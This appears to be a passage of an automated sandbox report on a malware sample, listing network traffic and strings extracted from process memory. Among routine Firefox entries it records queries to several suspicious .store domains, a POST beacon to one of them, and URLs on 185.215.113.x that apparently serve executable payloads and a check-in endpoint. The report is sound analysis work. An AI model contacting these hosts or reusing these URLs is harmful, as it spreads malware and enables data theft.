Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache

Source: firefox.exe, 0000002E.00000003.3056553256.0000020F30A1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002E.00000003.3056553256.0000020F30A1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002E.00000003.3056553256.0000020F30A1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3056553256.0000020F30A1A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002E.00000003.3056553256.0000020F30A1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null} equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002E.00000003.3056553256.0000020F30A1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}[{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]][{incognito:null, tabId:null, types

Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store
Source: global traffic	DNS traffic detected: DNS query: fadehairucw.store
Source: global traffic	DNS traffic detected: DNS query: thumbystriw.store
Source: global traffic	DNS traffic detected: DNS query: necklacedmny.store
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: www.wikipedia.org
Source: global traffic	DNS traffic detected: DNS query: youtube-ui.l.google.com
Source: global traffic	DNS traffic detected: DNS query: star-mini.c10r.facebook.com
Source: global traffic	DNS traffic detected: DNS query: dyna.wikimedia.org
Source: global traffic	DNS traffic detected: DNS query: www.reddit.com
Source: global traffic	DNS traffic detected: DNS query: twitter.com
Source: global traffic	DNS traffic detected: DNS query: reddit.map.fastly.net
Source: global traffic	DNS traffic detected: DNS query: services.addons.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: normandy.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: normandy-cdn.services.mozilla.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store

Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: file.exe, file.exe, 00000000.00000003.2336212320.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2336153066.0000000000A85000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2336129230.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: file.exe, 00000000.00000003.2336153066.0000000000A85000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2336129230.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/9k3
Source: file.exe, 00000000.00000003.2336129230.0000000000A75000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2336374803.0000000000A01000.00000004.00000020.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2834293641.0000000000B6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000003.2336153066.0000000000A85000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2336129230.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exez
Source: efe6fe4127.exe, 00000009.00000003.2831918485.0000000000B76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: efe6fe4127.exe, 00000009.00000003.2834293641.0000000000B6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe3f
Source: file.exe, 00000000.00000003.2336153066.0000000000A85000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2336129230.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeat
Source: file.exe, 00000000.00000003.2336153066.0000000000A85000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2336129230.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exee
Source: file.exe, 00000000.00000003.2336153066.0000000000A85000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2336129230.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeenn
Source: file.exe, 00000000.00000003.2336153066.0000000000A85000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2336129230.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/p
Source: file.exe, 00000000.00000003.2336374803.00000000009EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/mine/random.exesoft
Source: file.exe, 00000000.00000003.2336374803.00000000009EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/off/def.exe
Source: b76bb5cee7.exe, 0000000A.00000002.2767324044.000000000135E000.00000004.00000020.00020000.00000000.sdmp, b76bb5cee7.exe, 0000001D.00000002.2967959553.000000000150B000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001F.00000002.2877033985.000000000081E000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000030.00000002.3028252435.00000000014B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: b76bb5cee7.exe, 0000000A.00000002.2767324044.00000000013A4000.00000004.00000020.00020000.00000000.sdmp, b76bb5cee7.exe, 0000000A.00000002.2767324044.00000000013BE000.00000004.00000020.00020000.00000000.sdmp, b76bb5cee7.exe, 0000001D.00000002.2967959553.000000000155C000.00000004.00000020.00020000.00000000.sdmp, b76bb5cee7.exe, 0000001D.00000002.2967959553.000000000150B000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001F.00000002.2877033985.0000000000861000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001F.00000002.2877033985.000000000081E000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000030.00000002.3028252435.00000000014B8000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000030.00000002.3028252435.00000000014FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: num.exe, 00000030.00000002.3028252435.00000000014FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: num.exe, 00000030.00000002.3028252435.00000000014B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php.5Y
Source: b76bb5cee7.exe, 0000000A.00000002.2767324044.000000000135E000.00000004.00000020.00020000.00000000.sdmp, b76bb5cee7.exe, 0000000A.00000002.2767324044.00000000013BE000.00000004.00000020.00020000.00000000.sdmp, b76bb5cee7.exe, 0000001D.00000002.2967959553.000000000155C000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000030.00000002.3028252435.00000000014FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/
Source: num.exe, 00000030.00000002.3028252435.00000000014FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/)
Source: b76bb5cee7.exe, 0000000A.00000002.2767324044.00000000013B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpV
Source: num.exe, 0000001F.00000002.2877033985.000000000081E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpW
Source: b76bb5cee7.exe, 0000000A.00000002.2767324044.00000000013B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpb
Source: num.exe, 0000001F.00000002.2877033985.000000000087E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpf
Source: b76bb5cee7.exe, 0000000A.00000002.2767324044.00000000013B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpz
Source: num.exe, 00000030.00000002.3028252435.00000000014B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/df
Source: b76bb5cee7.exe, 0000001D.00000002.2967959553.000000000155C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/i
Source: b76bb5cee7.exe, 0000001D.00000002.2967959553.000000000155C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/n7a
Source: b76bb5cee7.exe, 0000001D.00000002.2967959553.000000000155C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/p
Source: b76bb5cee7.exe, 0000000A.00000002.2767324044.00000000013BE000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000030.00000002.3028252435.00000000014FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: b76bb5cee7.exe, 0000000A.00000002.2767324044.000000000135E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206Ey
Source: file.exe, 00000000.00000003.2192287354.000000000550D000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2679239829.0000000005729000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2843082489.00000000061EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.2192287354.000000000550D000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2679239829.0000000005729000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2843082489.00000000061EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: efe6fe4127.exe, 0000000C.00000003.2962012796.0000000001A44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: file.exe, 00000000.00000003.2192287354.000000000550D000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2679239829.0000000005729000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2843082489.00000000061EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.2192287354.000000000550D000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2679239829.0000000005729000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2843082489.00000000061EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.2192287354.000000000550D000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2679239829.0000000005729000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2843082489.00000000061EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.2192287354.000000000550D000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2679239829.0000000005729000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2843082489.00000000061EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.2192287354.000000000550D000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2679239829.0000000005729000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2843082489.00000000061EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: U2242U1STHGPPKHG.exe, 0000001E.00000002.3017329025.0000000000CCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://go.microsoft.c
Source: firefox.exe, 0000002E.00000003.2993412879.0000020F30ADB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.2998404752.0000020F30AE1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3054907147.0000020F382E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3010408169.0000020F30DC3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.2993614274.0000020F30AC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: file.exe, 00000000.00000003.2192287354.000000000550D000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2679239829.0000000005729000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2843082489.00000000061EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.2192287354.000000000550D000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2679239829.0000000005729000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2843082489.00000000061EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 0000002E.00000003.2991326032.0000020F308BB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.2993734232.0000020F30A6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://src.chromium.org/viewvc/chrome/trunk/src/third_party/cld/languages/internal/languages.cc
Source: firefox.exe, 0000002E.00000003.2992240623.0000020F30853000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com
Source: firefox.exe, 0000002E.00000003.2985342764.0000020F2CDAE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3015343703.0000020F2D163000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3015863973.0000020F2D1C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3014817116.0000020F300D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.2981512771.0000020F2FD38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.2988235090.0000020F2CDAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 0000002E.00000003.2981399452.0000020F2FD43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul);
Source: firefox.exe, 0000002E.00000003.2981399452.0000020F2FD43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/newlayout/xml/parsererror.xml);
Source: mozilla-temp-41.26.dr	String found in binary or memory: http://www.videolan.org/x264.html
Source: file.exe, 00000000.00000003.2192287354.000000000550D000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2679239829.0000000005729000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2843082489.00000000061EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.2192287354.000000000550D000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2679239829.0000000005729000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2843082489.00000000061EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
